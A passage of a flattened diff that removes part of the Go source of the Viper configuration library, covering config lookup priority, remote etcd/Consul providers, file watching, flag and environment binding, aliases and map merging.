fmt.Sprintf("Unsupported Config Type %q", string(str)) -} - -// UnsupportedRemoteProviderError denotes encountering an unsupported remote -// provider. Currently only etcd and Consul are supported. -type UnsupportedRemoteProviderError string - -// Error returns the formatted remote provider error. -func (str UnsupportedRemoteProviderError) Error() string { - return fmt.Sprintf("Unsupported Remote Provider Type %q", string(str)) -} - -// RemoteConfigError denotes encountering an error while trying to -// pull the configuration from the remote provider. -type RemoteConfigError string - -// Error returns the formatted remote provider error -func (rce RemoteConfigError) Error() string { - return fmt.Sprintf("Remote Configurations Error: %s", string(rce)) -} - -// ConfigFileNotFoundError denotes failing to find configuration file. -type ConfigFileNotFoundError struct { - name, locations string -} - -// Error returns the formatted configuration error. -func (fnfe ConfigFileNotFoundError) Error() string { - return fmt.Sprintf("Config File %q Not Found in %q", fnfe.name, fnfe.locations) -} - -// Viper is a prioritized configuration registry. It -// maintains a set of configuration sources, fetches -// values to populate those, and provides them according -// to the source's priority. -// The priority of the sources is the following: -// 1. overrides -// 2. flags -// 3. env. variables -// 4. config file -// 5. key/value store -// 6. defaults -// -// For example, if values from the following sources were loaded: -// -// Defaults : { -// "secret": "", -// "user": "default", -// "endpoint": "https://localhost" -// } -// Config : { -// "user": "root" -// "secret": "defaultsecret" -// } -// Env : { -// "secret": "somesecretkey" -// } -// -// The resulting config will have the following values: -// -// { -// "secret": "somesecretkey", -// "user": "root", -// "endpoint": "https://localhost" -// } -type Viper struct { - // Delimiter that separates a list of keys - // used to access a nested value in one go - keyDelim string - - // A set of paths to look for the config file in - configPaths []string - - // The filesystem to read config from. - fs afero.Fs - - // A set of remote providers to search for the configuration - remoteProviders []*defaultRemoteProvider - - // Name of file to look for inside the path - configName string - configFile string - configType string - envPrefix string - - automaticEnvApplied bool - envKeyReplacer *strings.Replacer - - config map[string]interface{} - override map[string]interface{} - defaults map[string]interface{} - kvstore map[string]interface{} - pflags map[string]FlagValue - env map[string]string - aliases map[string]string - typeByDefValue bool - - onConfigChange func(fsnotify.Event) -} - -// New returns an initialized Viper instance. -func New() *Viper { - v := new(Viper) - v.keyDelim = "." - v.configName = "config" - v.fs = afero.NewOsFs() - v.config = make(map[string]interface{}) - v.override = make(map[string]interface{}) - v.defaults = make(map[string]interface{}) - v.kvstore = make(map[string]interface{}) - v.pflags = make(map[string]FlagValue) - v.env = make(map[string]string) - v.aliases = make(map[string]string) - v.typeByDefValue = false - - return v -} - -// Intended for testing, will reset all to default settings. -// In the public interface for the viper package so applications -// can use it in their testing as well. -func Reset() { - v = New() - SupportedExts = []string{"json", "toml", "yaml", "yml", "hcl"} - SupportedRemoteProviders = []string{"etcd", "consul"} -} - -type defaultRemoteProvider struct { - provider string - endpoint string - path string - secretKeyring string -} - -func (rp defaultRemoteProvider) Provider() string { - return rp.provider -} - -func (rp defaultRemoteProvider) Endpoint() string { - return rp.endpoint -} - -func (rp defaultRemoteProvider) Path() string { - return rp.path -} - -func (rp defaultRemoteProvider) SecretKeyring() string { - return rp.secretKeyring -} - -// RemoteProvider stores the configuration necessary -// to connect to a remote key/value store. -// Optional secretKeyring to unencrypt encrypted values -// can be provided. -type RemoteProvider interface { - Provider() string - Endpoint() string - Path() string - SecretKeyring() string -} - -// SupportedExts are universally supported extensions. -var SupportedExts = []string{"json", "toml", "yaml", "yml", "properties", "props", "prop", "hcl"} - -// SupportedRemoteProviders are universally supported remote providers. -var SupportedRemoteProviders = []string{"etcd", "consul"} - -func OnConfigChange(run func(in fsnotify.Event)) { v.OnConfigChange(run) } -func (v *Viper) OnConfigChange(run func(in fsnotify.Event)) { - v.onConfigChange = run -} - -func WatchConfig() { v.WatchConfig() } -func (v *Viper) WatchConfig() { - go func() { - watcher, err := fsnotify.NewWatcher() - if err != nil { - log.Fatal(err) - } - defer watcher.Close() - - // we have to watch the entire directory to pick up renames/atomic saves in a cross-platform way - filename, err := v.getConfigFile() - if err != nil { - log.Println("error:", err) - return - } - - configFile := filepath.Clean(filename) - configDir, _ := filepath.Split(configFile) - - done := make(chan bool) - go func() { - for { - select { - case event := <-watcher.Events: - // we only care about the config file - if filepath.Clean(event.Name) == configFile { - if event.Op&fsnotify.Write == fsnotify.Write || event.Op&fsnotify.Create == fsnotify.Create { - err := v.ReadInConfig() - if err != nil { - log.Println("error:", err) - } - v.onConfigChange(event) - } - } - case err := <-watcher.Errors: - log.Println("error:", err) - } - } - }() - - watcher.Add(configDir) - <-done - }() -} - -// SetConfigFile explicitly defines the path, name and extension of the config file. -// Viper will use this and not check any of the config paths. -func SetConfigFile(in string) { v.SetConfigFile(in) } -func (v *Viper) SetConfigFile(in string) { - if in != "" { - v.configFile = in - } -} - -// SetEnvPrefix defines a prefix that ENVIRONMENT variables will use. -// E.g. if your prefix is "spf", the env registry will look for env -// variables that start with "SPF_". -func SetEnvPrefix(in string) { v.SetEnvPrefix(in) } -func (v *Viper) SetEnvPrefix(in string) { - if in != "" { - v.envPrefix = in - } -} - -func (v *Viper) mergeWithEnvPrefix(in string) string { - if v.envPrefix != "" { - return strings.ToUpper(v.envPrefix + "_" + in) - } - - return strings.ToUpper(in) -} - -// TODO: should getEnv logic be moved into find(). Can generalize the use of -// rewriting keys many things, Ex: Get('someKey') -> some_key -// (camel case to snake case for JSON keys perhaps) - -// getEnv is a wrapper around os.Getenv which replaces characters in the original -// key. This allows env vars which have different keys than the config object -// keys. -func (v *Viper) getEnv(key string) string { - if v.envKeyReplacer != nil { - key = v.envKeyReplacer.Replace(key) - } - return os.Getenv(key) -} - -// ConfigFileUsed returns the file used to populate the config registry. -func ConfigFileUsed() string { return v.ConfigFileUsed() } -func (v *Viper) ConfigFileUsed() string { return v.configFile } - -// AddConfigPath adds a path for Viper to search for the config file in. -// Can be called multiple times to define multiple search paths. -func AddConfigPath(in string) { v.AddConfigPath(in) } -func (v *Viper) AddConfigPath(in string) { - if in != "" { - absin := absPathify(in) - jww.INFO.Println("adding", absin, "to paths to search") - if !stringInSlice(absin, v.configPaths) { - v.configPaths = append(v.configPaths, absin) - } - } -} - -// AddRemoteProvider adds a remote configuration source. -// Remote Providers are searched in the order they are added. -// provider is a string value, "etcd" or "consul" are currently supported. -// endpoint is the url. etcd requires http://ip:port consul requires ip:port -// path is the path in the k/v store to retrieve configuration -// To retrieve a config file called myapp.json from /configs/myapp.json -// you should set path to /configs and set config name (SetConfigName()) to -// "myapp" -func AddRemoteProvider(provider, endpoint, path string) error { - return v.AddRemoteProvider(provider, endpoint, path) -} -func (v *Viper) AddRemoteProvider(provider, endpoint, path string) error { - if !stringInSlice(provider, SupportedRemoteProviders) { - return UnsupportedRemoteProviderError(provider) - } - if provider != "" && endpoint != "" { - jww.INFO.Printf("adding %s:%s to remote provider list", provider, endpoint) - rp := &defaultRemoteProvider{ - endpoint: endpoint, - provider: provider, - path: path, - } - if !v.providerPathExists(rp) { - v.remoteProviders = append(v.remoteProviders, rp) - } - } - return nil -} - -// AddSecureRemoteProvider adds a remote configuration source. -// Secure Remote Providers are searched in the order they are added. -// provider is a string value, "etcd" or "consul" are currently supported. -// endpoint is the url. etcd requires http://ip:port consul requires ip:port -// secretkeyring is the filepath to your openpgp secret keyring. e.g. /etc/secrets/myring.gpg -// path is the path in the k/v store to retrieve configuration -// To retrieve a config file called myapp.json from /configs/myapp.json -// you should set path to /configs and set config name (SetConfigName()) to -// "myapp" -// Secure Remote Providers are implemented with github.com/xordataexchange/crypt -func AddSecureRemoteProvider(provider, endpoint, path, secretkeyring string) error { - return v.AddSecureRemoteProvider(provider, endpoint, path, secretkeyring) -} - -func (v *Viper) AddSecureRemoteProvider(provider, endpoint, path, secretkeyring string) error { - if !stringInSlice(provider, SupportedRemoteProviders) { - return UnsupportedRemoteProviderError(provider) - } - if provider != "" && endpoint != "" { - jww.INFO.Printf("adding %s:%s to remote provider list", provider, endpoint) - rp := &defaultRemoteProvider{ - endpoint: endpoint, - provider: provider, - path: path, - secretKeyring: secretkeyring, - } - if !v.providerPathExists(rp) { - v.remoteProviders = append(v.remoteProviders, rp) - } - } - return nil -} - -func (v *Viper) providerPathExists(p *defaultRemoteProvider) bool { - for _, y := range v.remoteProviders { - if reflect.DeepEqual(y, p) { - return true - } - } - return false -} - -// searchMap recursively searches for a value for path in source map. -// Returns nil if not found. -// Note: This assumes that the path entries and map keys are lower cased. -func (v *Viper) searchMap(source map[string]interface{}, path []string) interface{} { - if len(path) == 0 { - return source - } - - next, ok := source[path[0]] - if ok { - // Fast path - if len(path) == 1 { - return next - } - - // Nested case - switch next.(type) { - case map[interface{}]interface{}: - return v.searchMap(cast.ToStringMap(next), path[1:]) - case map[string]interface{}: - // Type assertion is safe here since it is only reached - // if the type of `next` is the same as the type being asserted - return v.searchMap(next.(map[string]interface{}), path[1:]) - default: - // got a value but nested key expected, return "nil" for not found - return nil - } - } - return nil -} - -// searchMapWithPathPrefixes recursively searches for a value for path in source map. -// -// While searchMap() considers each path element as a single map key, this -// function searches for, and prioritizes, merged path elements. -// e.g., if in the source, "foo" is defined with a sub-key "bar", and "foo.bar" -// is also defined, this latter value is returned for path ["foo", "bar"]. -// -// This should be useful only at config level (other maps may not contain dots -// in their keys). -// -// Note: This assumes that the path entries and map keys are lower cased. -func (v *Viper) searchMapWithPathPrefixes(source map[string]interface{}, path []string) interface{} { - if len(path) == 0 { - return source - } - - // search for path prefixes, starting from the longest one - for i := len(path); i > 0; i-- { - prefixKey := strings.ToLower(strings.Join(path[0:i], v.keyDelim)) - - next, ok := source[prefixKey] - if ok { - // Fast path - if i == len(path) { - return next - } - - // Nested case - var val interface{} - switch next.(type) { - case map[interface{}]interface{}: - val = v.searchMapWithPathPrefixes(cast.ToStringMap(next), path[i:]) - case map[string]interface{}: - // Type assertion is safe here since it is only reached - // if the type of `next` is the same as the type being asserted - val = v.searchMapWithPathPrefixes(next.(map[string]interface{}), path[i:]) - default: - // got a value but nested key expected, do nothing and look for next prefix - } - if val != nil { - return val - } - } - } - - // not found - return nil -} - -// isPathShadowedInDeepMap makes sure the given path is not shadowed somewhere -// on its path in the map. -// e.g., if "foo.bar" has a value in the given map, it “shadows” -// "foo.bar.baz" in a lower-priority map -func (v *Viper) isPathShadowedInDeepMap(path []string, m map[string]interface{}) string { - var parentVal interface{} - for i := 1; i < len(path); i++ { - parentVal = v.searchMap(m, path[0:i]) - if parentVal == nil { - // not found, no need to add more path elements - return "" - } - switch parentVal.(type) { - case map[interface{}]interface{}: - continue - case map[string]interface{}: - continue - default: - // parentVal is a regular value which shadows "path" - return strings.Join(path[0:i], v.keyDelim) - } - } - return "" -} - -// isPathShadowedInFlatMap makes sure the given path is not shadowed somewhere -// in a sub-path of the map. -// e.g., if "foo.bar" has a value in the given map, it “shadows” -// "foo.bar.baz" in a lower-priority map -func (v *Viper) isPathShadowedInFlatMap(path []string, mi interface{}) string { - // unify input map - var m map[string]interface{} - switch mi.(type) { - case map[string]string, map[string]FlagValue: - m = cast.ToStringMap(mi) - default: - return "" - } - - // scan paths - var parentKey string - for i := 1; i < len(path); i++ { - parentKey = strings.Join(path[0:i], v.keyDelim) - if _, ok := m[parentKey]; ok { - return parentKey - } - } - return "" -} - -// isPathShadowedInAutoEnv makes sure the given path is not shadowed somewhere -// in the environment, when automatic env is on. -// e.g., if "foo.bar" has a value in the environment, it “shadows” -// "foo.bar.baz" in a lower-priority map -func (v *Viper) isPathShadowedInAutoEnv(path []string) string { - var parentKey string - var val string - for i := 1; i < len(path); i++ { - parentKey = strings.Join(path[0:i], v.keyDelim) - if val = v.getEnv(v.mergeWithEnvPrefix(parentKey)); val != "" { - return parentKey - } - } - return "" -} - -// SetTypeByDefaultValue enables or disables the inference of a key value's -// type when the Get function is used based upon a key's default value as -// opposed to the value returned based on the normal fetch logic. -// -// For example, if a key has a default value of []string{} and the same key -// is set via an environment variable to "a b c", a call to the Get function -// would return a string slice for the key if the key's type is inferred by -// the default value and the Get function would return: -// -// []string {"a", "b", "c"} -// -// Otherwise the Get function would return: -// -// "a b c" -func SetTypeByDefaultValue(enable bool) { v.SetTypeByDefaultValue(enable) } -func (v *Viper) SetTypeByDefaultValue(enable bool) { - v.typeByDefValue = enable -} - -// GetViper gets the global Viper instance. -func GetViper() *Viper { - return v -} - -// Get can retrieve any value given the key to use. -// Get is case-insensitive for a key. -// Get has the behavior of returning the value associated with the first -// place from where it is set. Viper will check in the following order: -// override, flag, env, config file, key/value store, default -// -// Get returns an interface. For a specific value use one of the Get____ methods. -func Get(key string) interface{} { return v.Get(key) } -func (v *Viper) Get(key string) interface{} { - lcaseKey := strings.ToLower(key) - val := v.find(lcaseKey) - if val == nil { - return nil - } - - if v.typeByDefValue { - // TODO(bep) this branch isn't covered by a single test. - valType := val - path := strings.Split(lcaseKey, v.keyDelim) - defVal := v.searchMap(v.defaults, path) - if defVal != nil { - valType = defVal - } - - switch valType.(type) { - case bool: - return cast.ToBool(val) - case string: - return cast.ToString(val) - case int64, int32, int16, int8, int: - return cast.ToInt(val) - case float64, float32: - return cast.ToFloat64(val) - case time.Time: - return cast.ToTime(val) - case time.Duration: - return cast.ToDuration(val) - case []string: - return cast.ToStringSlice(val) - } - } - - return val -} - -// Sub returns new Viper instance representing a sub tree of this instance. -// Sub is case-insensitive for a key. -func Sub(key string) *Viper { return v.Sub(key) } -func (v *Viper) Sub(key string) *Viper { - subv := New() - data := v.Get(key) - if data == nil { - return nil - } - - if reflect.TypeOf(data).Kind() == reflect.Map { - subv.config = cast.ToStringMap(data) - return subv - } - return nil -} - -// GetString returns the value associated with the key as a string. -func GetString(key string) string { return v.GetString(key) } -func (v *Viper) GetString(key string) string { - return cast.ToString(v.Get(key)) -} - -// GetBool returns the value associated with the key as a boolean. -func GetBool(key string) bool { return v.GetBool(key) } -func (v *Viper) GetBool(key string) bool { - return cast.ToBool(v.Get(key)) -} - -// GetInt returns the value associated with the key as an integer. -func GetInt(key string) int { return v.GetInt(key) } -func (v *Viper) GetInt(key string) int { - return cast.ToInt(v.Get(key)) -} - -// GetInt64 returns the value associated with the key as an integer. -func GetInt64(key string) int64 { return v.GetInt64(key) } -func (v *Viper) GetInt64(key string) int64 { - return cast.ToInt64(v.Get(key)) -} - -// GetFloat64 returns the value associated with the key as a float64. -func GetFloat64(key string) float64 { return v.GetFloat64(key) } -func (v *Viper) GetFloat64(key string) float64 { - return cast.ToFloat64(v.Get(key)) -} - -// GetTime returns the value associated with the key as time. -func GetTime(key string) time.Time { return v.GetTime(key) } -func (v *Viper) GetTime(key string) time.Time { - return cast.ToTime(v.Get(key)) -} - -// GetDuration returns the value associated with the key as a duration. -func GetDuration(key string) time.Duration { return v.GetDuration(key) } -func (v *Viper) GetDuration(key string) time.Duration { - return cast.ToDuration(v.Get(key)) -} - -// GetStringSlice returns the value associated with the key as a slice of strings. -func GetStringSlice(key string) []string { return v.GetStringSlice(key) } -func (v *Viper) GetStringSlice(key string) []string { - return cast.ToStringSlice(v.Get(key)) -} - -// GetStringMap returns the value associated with the key as a map of interfaces. -func GetStringMap(key string) map[string]interface{} { return v.GetStringMap(key) } -func (v *Viper) GetStringMap(key string) map[string]interface{} { - return cast.ToStringMap(v.Get(key)) -} - -// GetStringMapString returns the value associated with the key as a map of strings. -func GetStringMapString(key string) map[string]string { return v.GetStringMapString(key) } -func (v *Viper) GetStringMapString(key string) map[string]string { - return cast.ToStringMapString(v.Get(key)) -} - -// GetStringMapStringSlice returns the value associated with the key as a map to a slice of strings. -func GetStringMapStringSlice(key string) map[string][]string { return v.GetStringMapStringSlice(key) } -func (v *Viper) GetStringMapStringSlice(key string) map[string][]string { - return cast.ToStringMapStringSlice(v.Get(key)) -} - -// GetSizeInBytes returns the size of the value associated with the given key -// in bytes. -func GetSizeInBytes(key string) uint { return v.GetSizeInBytes(key) } -func (v *Viper) GetSizeInBytes(key string) uint { - sizeStr := cast.ToString(v.Get(key)) - return parseSizeInBytes(sizeStr) -} - -// UnmarshalKey takes a single key and unmarshals it into a Struct. -func UnmarshalKey(key string, rawVal interface{}) error { return v.UnmarshalKey(key, rawVal) } -func (v *Viper) UnmarshalKey(key string, rawVal interface{}) error { - err := decode(v.Get(key), defaultDecoderConfig(rawVal)) - - if err != nil { - return err - } - - v.insensitiviseMaps() - - return nil -} - -// Unmarshal unmarshals the config into a Struct. Make sure that the tags -// on the fields of the structure are properly set. -func Unmarshal(rawVal interface{}) error { return v.Unmarshal(rawVal) } -func (v *Viper) Unmarshal(rawVal interface{}) error { - err := decode(v.AllSettings(), defaultDecoderConfig(rawVal)) - - if err != nil { - return err - } - - v.insensitiviseMaps() - - return nil -} - -// defaultDecoderConfig returns default mapsstructure.DecoderConfig with suppot -// of time.Duration values -func defaultDecoderConfig(output interface{}) *mapstructure.DecoderConfig { - return &mapstructure.DecoderConfig{ - Metadata: nil, - Result: output, - WeaklyTypedInput: true, - DecodeHook: mapstructure.StringToTimeDurationHookFunc(), - } -} - -// A wrapper around mapstructure.Decode that mimics the WeakDecode functionality -func decode(input interface{}, config *mapstructure.DecoderConfig) error { - decoder, err := mapstructure.NewDecoder(config) - if err != nil { - return err - } - return decoder.Decode(input) -} - -// UnmarshalExact unmarshals the config into a Struct, erroring if a field is nonexistent -// in the destination struct. -func (v *Viper) UnmarshalExact(rawVal interface{}) error { - config := defaultDecoderConfig(rawVal) - config.ErrorUnused = true - - err := decode(v.AllSettings(), config) - - if err != nil { - return err - } - - v.insensitiviseMaps() - - return nil -} - -// BindPFlags binds a full flag set to the configuration, using each flag's long -// name as the config key. -func BindPFlags(flags *pflag.FlagSet) error { return v.BindPFlags(flags) } -func (v *Viper) BindPFlags(flags *pflag.FlagSet) error { - return v.BindFlagValues(pflagValueSet{flags}) -} - -// BindPFlag binds a specific key to a pflag (as used by cobra). -// Example (where serverCmd is a Cobra instance): -// -// serverCmd.Flags().Int("port", 1138, "Port to run Application server on") -// Viper.BindPFlag("port", serverCmd.Flags().Lookup("port")) -// -func BindPFlag(key string, flag *pflag.Flag) error { return v.BindPFlag(key, flag) } -func (v *Viper) BindPFlag(key string, flag *pflag.Flag) error { - return v.BindFlagValue(key, pflagValue{flag}) -} - -// BindFlagValues binds a full FlagValue set to the configuration, using each flag's long -// name as the config key. -func BindFlagValues(flags FlagValueSet) error { return v.BindFlagValues(flags) } -func (v *Viper) BindFlagValues(flags FlagValueSet) (err error) { - flags.VisitAll(func(flag FlagValue) { - if err = v.BindFlagValue(flag.Name(), flag); err != nil { - return - } - }) - return nil -} - -// BindFlagValue binds a specific key to a FlagValue. -// Example (where serverCmd is a Cobra instance): -// -// serverCmd.Flags().Int("port", 1138, "Port to run Application server on") -// Viper.BindFlagValue("port", serverCmd.Flags().Lookup("port")) -// -func BindFlagValue(key string, flag FlagValue) error { return v.BindFlagValue(key, flag) } -func (v *Viper) BindFlagValue(key string, flag FlagValue) error { - if flag == nil { - return fmt.Errorf("flag for %q is nil", key) - } - v.pflags[strings.ToLower(key)] = flag - return nil -} - -// BindEnv binds a Viper key to a ENV variable. -// ENV variables are case sensitive. -// If only a key is provided, it will use the env key matching the key, uppercased. -// EnvPrefix will be used when set when env name is not provided. -func BindEnv(input ...string) error { return v.BindEnv(input...) } -func (v *Viper) BindEnv(input ...string) error { - var key, envkey string - if len(input) == 0 { - return fmt.Errorf("BindEnv missing key to bind to") - } - - key = strings.ToLower(input[0]) - - if len(input) == 1 { - envkey = v.mergeWithEnvPrefix(key) - } else { - envkey = input[1] - } - - v.env[key] = envkey - - return nil -} - -// Given a key, find the value. -// Viper will check in the following order: -// flag, env, config file, key/value store, default. -// Viper will check to see if an alias exists first. -// Note: this assumes a lower-cased key given. -func (v *Viper) find(lcaseKey string) interface{} { - - var ( - val interface{} - exists bool - path = strings.Split(lcaseKey, v.keyDelim) - nested = len(path) > 1 - ) - - // compute the path through the nested maps to the nested value - if nested && v.isPathShadowedInDeepMap(path, castMapStringToMapInterface(v.aliases)) != "" { - return nil - } - - // if the requested key is an alias, then return the proper key - lcaseKey = v.realKey(lcaseKey) - path = strings.Split(lcaseKey, v.keyDelim) - nested = len(path) > 1 - - // Set() override first - val = v.searchMap(v.override, path) - if val != nil { - return val - } - if nested && v.isPathShadowedInDeepMap(path, v.override) != "" { - return nil - } - - // PFlag override next - flag, exists := v.pflags[lcaseKey] - if exists && flag.HasChanged() { - switch flag.ValueType() { - case "int", "int8", "int16", "int32", "int64": - return cast.ToInt(flag.ValueString()) - case "bool": - return cast.ToBool(flag.ValueString()) - case "stringSlice": - s := strings.TrimPrefix(flag.ValueString(), "[") - s = strings.TrimSuffix(s, "]") - res, _ := readAsCSV(s) - return res - default: - return flag.ValueString() - } - } - if nested && v.isPathShadowedInFlatMap(path, v.pflags) != "" { - return nil - } - - // Env override next - if v.automaticEnvApplied { - // even if it hasn't been registered, if automaticEnv is used, - // check any Get request - if val = v.getEnv(v.mergeWithEnvPrefix(lcaseKey)); val != "" { - return val - } - if nested && v.isPathShadowedInAutoEnv(path) != "" { - return nil - } - } - envkey, exists := v.env[lcaseKey] - if exists { - if val = v.getEnv(envkey); val != "" { - return val - } - } - if nested && v.isPathShadowedInFlatMap(path, v.env) != "" { - return nil - } - - // Config file next - val = v.searchMapWithPathPrefixes(v.config, path) - if val != nil { - return val - } - if nested && v.isPathShadowedInDeepMap(path, v.config) != "" { - return nil - } - - // K/V store next - val = v.searchMap(v.kvstore, path) - if val != nil { - return val - } - if nested && v.isPathShadowedInDeepMap(path, v.kvstore) != "" { - return nil - } - - // Default next - val = v.searchMap(v.defaults, path) - if val != nil { - return val - } - if nested && v.isPathShadowedInDeepMap(path, v.defaults) != "" { - return nil - } - - // last chance: if no other value is returned and a flag does exist for the value, - // get the flag's value even if the flag's value has not changed - if flag, exists := v.pflags[lcaseKey]; exists { - switch flag.ValueType() { - case "int", "int8", "int16", "int32", "int64": - return cast.ToInt(flag.ValueString()) - case "bool": - return cast.ToBool(flag.ValueString()) - case "stringSlice": - s := strings.TrimPrefix(flag.ValueString(), "[") - s = strings.TrimSuffix(s, "]") - res, _ := readAsCSV(s) - return res - default: - return flag.ValueString() - } - } - // last item, no need to check shadowing - - return nil -} - -func readAsCSV(val string) ([]string, error) { - if val == "" { - return []string{}, nil - } - stringReader := strings.NewReader(val) - csvReader := csv.NewReader(stringReader) - return csvReader.Read() -} - -// IsSet checks to see if the key has been set in any of the data locations. -// IsSet is case-insensitive for a key. -func IsSet(key string) bool { return v.IsSet(key) } -func (v *Viper) IsSet(key string) bool { - lcaseKey := strings.ToLower(key) - val := v.find(lcaseKey) - return val != nil -} - -// AutomaticEnv has Viper check ENV variables for all. -// keys set in config, default & flags -func AutomaticEnv() { v.AutomaticEnv() } -func (v *Viper) AutomaticEnv() { - v.automaticEnvApplied = true -} - -// SetEnvKeyReplacer sets the strings.Replacer on the viper object -// Useful for mapping an environmental variable to a key that does -// not match it. -func SetEnvKeyReplacer(r *strings.Replacer) { v.SetEnvKeyReplacer(r) } -func (v *Viper) SetEnvKeyReplacer(r *strings.Replacer) { - v.envKeyReplacer = r -} - -// Aliases provide another accessor for the same key. -// This enables one to change a name without breaking the application -func RegisterAlias(alias string, key string) { v.RegisterAlias(alias, key) } -func (v *Viper) RegisterAlias(alias string, key string) { - v.registerAlias(alias, strings.ToLower(key)) -} - -func (v *Viper) registerAlias(alias string, key string) { - alias = strings.ToLower(alias) - if alias != key && alias != v.realKey(key) { - _, exists := v.aliases[alias] - - if !exists { - // if we alias something that exists in one of the maps to another - // name, we'll never be able to get that value using the original - // name, so move the config value to the new realkey. - if val, ok := v.config[alias]; ok { - delete(v.config, alias) - v.config[key] = val - } - if val, ok := v.kvstore[alias]; ok { - delete(v.kvstore, alias) - v.kvstore[key] = val - } - if val, ok := v.defaults[alias]; ok { - delete(v.defaults, alias) - v.defaults[key] = val - } - if val, ok := v.override[alias]; ok { - delete(v.override, alias) - v.override[key] = val - } - v.aliases[alias] = key - } - } else { - jww.WARN.Println("Creating circular reference alias", alias, key, v.realKey(key)) - } -} - -func (v *Viper) realKey(key string) string { - newkey, exists := v.aliases[key] - if exists { - jww.DEBUG.Println("Alias", key, "to", newkey) - return v.realKey(newkey) - } - return key -} - -// InConfig checks to see if the given key (or an alias) is in the config file. -func InConfig(key string) bool { return v.InConfig(key) } -func (v *Viper) InConfig(key string) bool { - // if the requested key is an alias, then return the proper key - key = v.realKey(key) - - _, exists := v.config[key] - return exists -} - -// SetDefault sets the default value for this key. -// SetDefault is case-insensitive for a key. -// Default only used when no value is provided by the user via flag, config or ENV. -func SetDefault(key string, value interface{}) { v.SetDefault(key, value) } -func (v *Viper) SetDefault(key string, value interface{}) { - // If alias passed in, then set the proper default - key = v.realKey(strings.ToLower(key)) - value = toCaseInsensitiveValue(value) - - path := strings.Split(key, v.keyDelim) - lastKey := strings.ToLower(path[len(path)-1]) - deepestMap := deepSearch(v.defaults, path[0:len(path)-1]) - - // set innermost value - deepestMap[lastKey] = value -} - -// Set sets the value for the key in the override regiser. -// Set is case-insensitive for a key. -// Will be used instead of values obtained via -// flags, config file, ENV, default, or key/value store. -func Set(key string, value interface{}) { v.Set(key, value) } -func (v *Viper) Set(key string, value interface{}) { - // If alias passed in, then set the proper override - key = v.realKey(strings.ToLower(key)) - value = toCaseInsensitiveValue(value) - - path := strings.Split(key, v.keyDelim) - lastKey := strings.ToLower(path[len(path)-1]) - deepestMap := deepSearch(v.override, path[0:len(path)-1]) - - // set innermost value - deepestMap[lastKey] = value -} - -// ReadInConfig will discover and load the configuration file from disk -// and key/value stores, searching in one of the defined paths. -func ReadInConfig() error { return v.ReadInConfig() } -func (v *Viper) ReadInConfig() error { - jww.INFO.Println("Attempting to read in config file") - filename, err := v.getConfigFile() - if err != nil { - return err - } - - if !stringInSlice(v.getConfigType(), SupportedExts) { - return UnsupportedConfigError(v.getConfigType()) - } - - file, err := afero.ReadFile(v.fs, filename) - if err != nil { - return err - } - - config := make(map[string]interface{}) - - err = v.unmarshalReader(bytes.NewReader(file), config) - if err != nil { - return err - } - - v.config = config - return nil -} - -// MergeInConfig merges a new configuration with an existing config. -func MergeInConfig() error { return v.MergeInConfig() } -func (v *Viper) MergeInConfig() error { - jww.INFO.Println("Attempting to merge in config file") - filename, err := v.getConfigFile() - if err != nil { - return err - } - - if !stringInSlice(v.getConfigType(), SupportedExts) { - return UnsupportedConfigError(v.getConfigType()) - } - - file, err := afero.ReadFile(v.fs, filename) - if err != nil { - return err - } - - return v.MergeConfig(bytes.NewReader(file)) -} - -// ReadConfig will read a configuration file, setting existing keys to nil if the -// key does not exist in the file. -func ReadConfig(in io.Reader) error { return v.ReadConfig(in) } -func (v *Viper) ReadConfig(in io.Reader) error { - v.config = make(map[string]interface{}) - return v.unmarshalReader(in, v.config) -} - -// MergeConfig merges a new configuration with an existing config. -func MergeConfig(in io.Reader) error { return v.MergeConfig(in) } -func (v *Viper) MergeConfig(in io.Reader) error { - if v.config == nil { - v.config = make(map[string]interface{}) - } - cfg := make(map[string]interface{}) - if err := v.unmarshalReader(in, cfg); err != nil { - return err - } - mergeMaps(cfg, v.config, nil) - return nil -} - -func keyExists(k string, m map[string]interface{}) string { - lk := strings.ToLower(k) - for mk := range m { - lmk := strings.ToLower(mk) - if lmk == lk { - return mk - } - } - return "" -} - -func castToMapStringInterface( - src map[interface{}]interface{}) map[string]interface{} { - tgt := map[string]interface{}{} - for k, v := range src { - tgt[fmt.Sprintf("%v", k)] = v - } - return tgt -} - -func castMapStringToMapInterface(src map[string]string) map[string]interface{} { - tgt := map[string]interface{}{} - for k, v := range src { - tgt[k] = v - } - return tgt -} - -func castMapFlagToMapInterface(src map[string]FlagValue) map[string]interface{} { - tgt := map[string]interface{}{} - for k, v := range src { - tgt[k] = v - } - return tgt -} - -// mergeMaps merges two maps. The `itgt` parameter is for handling go-yaml's -// insistence on parsing nested structures as `map[interface{}]interface{}` -// instead of using a `string` as the key for nest structures beyond one level -// deep. Both map types are supported as there is a go-yaml fork that uses -// `map[string]interface{}` instead. -func mergeMaps( - src, tgt map[string]interface{}, itgt map[interface{}]interface{}) { - for sk, sv := range src { - tk := keyExists(sk, tgt) - if tk == "" { - jww.TRACE.Printf("tk=\"\", tgt[%s]=%v", sk, sv) - tgt[sk] = sv - if itgt != nil { - itgt[sk] = sv - } - continue - } - - tv, ok := tgt[tk] - if !ok { - jww.TRACE.Printf("tgt[%s] != ok, tgt[%s]=%v", tk, sk, sv) - tgt[sk] = sv - if itgt != nil { - itgt[sk] = sv - } - continue - } - - svType := reflect.TypeOf(sv) - tvType := reflect.TypeOf(tv) - if svType != tvType { - jww.ERROR.Printf( - "svType != tvType; key=%s, st=%v, tt=%v, sv=%v, tv=%v", - sk, svType, tvType, sv, tv) - continue - } - - jww.TRACE.Printf("processing key=%s, st=%v, tt=%v, sv=%v, tv=%v", - sk, svType, tvType, sv, tv) - - switch ttv := tv.(type) { - case map[interface{}]interface{}: - jww.TRACE.Printf("merging maps (must convert)") - tsv := sv.(map[interface{}]interface{}) - ssv := castToMapStringInterface(tsv) - stv := castToMapStringInterface(ttv) - mergeMaps(ssv, stv, ttv) - case map[string]interface{}: - jww.TRACE.Printf("merging maps") - mergeMaps(sv.(map[string]interface{}), ttv, nil) - default: - jww.TRACE.Printf("setting value") - tgt[tk] = sv - if itgt != nil { - itgt[tk] = sv - } - } - } -} - -// ReadRemoteConfig attempts to get configuration from a remote source -// and read it in the remote configuration registry. -func ReadRemoteConfig() error { return v.ReadRemoteConfig() } -func (v *Viper) ReadRemoteConfig() error { - return v.getKeyValueConfig() -} - -func WatchRemoteConfig() error { return v.WatchRemoteConfig() } -func (v *Viper) WatchRemoteConfig() error { - return v.watchKeyValueConfig() -} - -func (v *Viper) WatchRemoteConfigOnChannel() error { - return v.watchKeyValueConfigOnChannel() -} - -// Unmarshal a Reader into a map. -// Should probably be 